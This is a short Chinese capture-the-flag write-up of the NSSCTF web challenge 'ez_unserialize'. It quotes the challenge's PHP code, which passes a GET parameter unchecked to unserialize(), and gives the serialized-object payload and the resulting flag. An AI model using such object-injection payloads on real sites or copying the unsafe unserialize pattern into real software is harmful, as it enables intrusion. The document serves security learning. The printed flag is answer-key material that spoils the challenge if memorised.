[SWPUCTF 2021 新生赛]ez_unserialize
题目来源：nssctf
题目类型：web
涉及考点：PHP反序列化
1. 检查一下源代码，发现Disallow：
猜测大概有robots.txt，扫下后台看看：
额，flag.php都扫出来了，但是进不去，还是老老实实看robots吧：
2. 看到题目了，开始代码审计
<?php
error_reporting(0);
show_source("cl45s.php");
class wllm{
public $admin;
public $passwd;
public function __construct(){
$this->admin ="user";
$this->passwd = "123456";
}
public function __destruct(){
if($this->admin === "admin" && $this->passwd === "ctf"){
include("flag.php");
echo $flag;
}else{
echo $this->admin;
echo $this->passwd;
echo "Just a bit more!";
}
}
}
$p = $_GET['p'];
unserialize($p);
?>
没什么绕的，直接赋值$admin=admin,$passwd=ctf即可，然后将序列化字符串GET传给p：
构造payload：
/cl45s.php?p=O:4:"wllm":2:{s:5:"admin";s:5:"admin";s:6:"passwd";s:3:"ctf";}
得到flag：
NSSCTF{bd4955fc-3fd9-469d-921e-b4df269c884b}
日期：2023.8.1
作者：y0Zero